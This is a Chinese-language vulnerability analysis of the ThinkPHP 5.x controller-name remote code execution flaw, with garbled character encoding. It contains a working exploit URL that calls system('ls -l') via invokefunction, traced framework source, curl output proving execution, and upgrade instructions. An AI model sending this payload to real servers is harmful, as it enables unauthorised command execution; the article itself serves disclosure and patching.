摘要:簡(jiǎn)介是一個(gè)免費(fèi)開(kāi)源的,快速簡(jiǎn)單的面向?qū)ο蟮妮p量級(jí)開(kāi)發(fā)框架,因?yàn)槠湟子眯詳U(kuò)展性,已經(jīng)成長(zhǎng)為國(guó)內(nèi)頗具影響力的應(yīng)用開(kāi)發(fā)框架漏洞解析漏洞引發(fā)的原因是框架對(duì)控制器名沒(méi)有進(jìn)行足夠的檢測(cè),現(xiàn)拉取來(lái)進(jìn)行測(cè)試請(qǐng)求路由系統(tǒng)解析為模塊控制器方法參數(shù)列表跟蹤到
ThinkPHP 簡(jiǎn)介
ThinkPHP 是一個(gè)免費(fèi)開(kāi)源的,快速、簡(jiǎn)單的面向?qū)ο蟮妮p量級(jí)PHP開(kāi)發(fā)框架,因?yàn)槠湟子眯?、擴(kuò)展性,已經(jīng)成長(zhǎng)為國(guó)內(nèi)頗具影響力的WEB應(yīng)用開(kāi)發(fā)框架
漏洞解析漏洞引發(fā)的原因是框架對(duì)控制器名沒(méi)有進(jìn)行足夠的檢測(cè),現(xiàn)拉取ThinkPHP v5.0.22 來(lái)進(jìn)行測(cè)試
請(qǐng)求路由 => http://127.0.0.1/public/index.php?s=/index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l 系統(tǒng)解析為 => 模塊:index => 控制器: hinkapp => 方法:invokefunction => 參數(shù)列表: => function=call_user_func_array => vars[0]=system => vars[1][]=ls -l
跟蹤到路由解析代碼 thinkphplibrarythinkApp.php
/** * 執(zhí)行模塊 * @access public * @param array $result 模塊/控制器/操作 * @param array $config 配置參數(shù) * @param bool $convert 是否自動(dòng)轉(zhuǎn)換控制器和操作名 * @return mixed * @throws HttpException */ public static function module($result, $config, $convert = null) { // ====================================================== // 未進(jìn)行過(guò)濾直接以 / 分解來(lái)進(jìn)行解析 // ====================================================== if (is_string($result)) { $result = explode("/", $result); } ... // ====================================================== // 未進(jìn)行過(guò)濾直接賦值為 $result[1] 即 hinkapp 并進(jìn)行實(shí)例化 // ====================================================== $instance = Loader::controller( $controller, // hinkapp $config["url_controller_layer"], $config["controller_suffix"], $config["empty_controller"] ); ... // ========================================= // 傳遞 $result[2] 即 invokefunction 方法 // is_callable([$instance, "invokefunction"] // ========================================= if (is_callable([$instance, $action])) { // 執(zhí)行操作方法 $call = [$instance, $action]; // 嚴(yán)格獲取當(dāng)前操作方法名 $reflect = new ReflectionMethod($instance, $action); $methodName = $reflect->getName(); $suffix = $config["action_suffix"]; $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName; $request->action($actionName); ... return self::invokeMethod($call, $vars); ... /** * 調(diào)用反射執(zhí)行類的方法 支持參數(shù)綁定 * @access public * @param string|array $method 方法 * @param array $vars 變量 * @return mixed */ public static function invokeMethod($method, $vars = []) { if (is_array($method)) { $class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]); $reflect = new ReflectionMethod($class, $method[1]); } else { // 靜態(tài)方法 $reflect = new ReflectionMethod($method); } $args = self::bindParams($reflect, $vars); // =============================================== // 傳遞uri參數(shù) // var_dump($args); // -------------------------- // array(2) { // [0]=> // string(20) "call_user_func_array" // [1]=> // array(2) { // [0]=> // string(6) "system" // [1]=> // array(1) { // [0]=> // string(5) "ls -l" // } // } // } // =============================================== self::$debug && Log::record("[ RUN ] " . $reflect->class . "->" . $reflect->name . "[ " . $reflect->getFileName() . " ]", "info"); // ======================================================= // 即通過(guò) invokeFunction 傳遞系統(tǒng)調(diào)用給 call_user_func_array // 從而調(diào)用 system("ls -l") // ======================================================= return $reflect->invokeArgs(isset($class) ? $class : null, $args); } ... /** * 執(zhí)行函數(shù)或者閉包方法 支持參數(shù)調(diào)用 * @access public * @param string|array|Closure $function 函數(shù)或者閉包 * @param array $vars 變量 * @return mixed */ public static function invokeFunction($function, $vars = []) { $reflect = new ReflectionFunction($function); $args = self::bindParams($reflect, $vars); // 記錄執(zhí)行信息 self::$debug && Log::record("[ RUN ] " . $reflect->__toString(), "info"); return $reflect->invokeArgs($args); }
漏洞測(cè)試結(jié)果 # curl "http://127.0.0.1/public/index.php?s=/index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l" total 13 -rw-r--r-- 1 pc-user 197121 850 Sep 7 21:33 favicon.ico -rw-r--r-- 1 pc-user 197121 766 Sep 7 21:33 index.php -rw-r--r-- 1 pc-user 197121 24 Sep 7 21:33 robots.txt -rw-r--r-- 1 pc-user 197121 840 Sep 7 21:33 router.php drwxr-xr-x 1 pc-user 197121 0 Dec 26 22:18 static受影響版本范圍
ThinkPHP 5.0.x < 5.0.23
ThinkPHP 5.1.x < 5.1.31
大家看一下相關(guān)鏈接中g(shù)ithub版本列表,參考github release列表的更新內(nèi)容,選擇對(duì)自己升級(jí)影響最小的,最好的話就是直接升級(jí)到最新版本,要想不受漏洞影響,至少應(yīng)該升級(jí)為
ThinkPHP 5.0.23
ThinkPHP 5.1.31
composer require topthink/framework=v5.0.23 composer require topthink/framework=v5.1.31 升級(jí)后確認(rèn)版本已更新 # composer show topthink/framework name : topthink/framework descrip. : the new thinkphp framework keywords : framework, orm, thinkphp versions : * v5.0.23 type : think-framework ...相關(guān)鏈接
ThinkPHP composer包列表(composer 可以拉取的版本列表)
ThinkPHP github版本列表(更新內(nèi)容說(shuō)明參考)
ThinkPHP 官方漏洞說(shuō)明
ThinkPHP 5.x 遠(yuǎn)程代碼getshell漏洞源碼分析
文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請(qǐng)注明本文地址:http://systransis.cn/yun/29844.html
閱讀 2589·2023-04-26 01:44
閱讀 2620·2021-09-10 10:50
閱讀 1450·2019-08-30 15:56
閱讀 2348·2019-08-30 15:44
閱讀 546·2019-08-29 11:14
閱讀 3454·2019-08-26 11:56
閱讀 3042·2019-08-26 11:52
閱讀 949·2019-08-26 10:27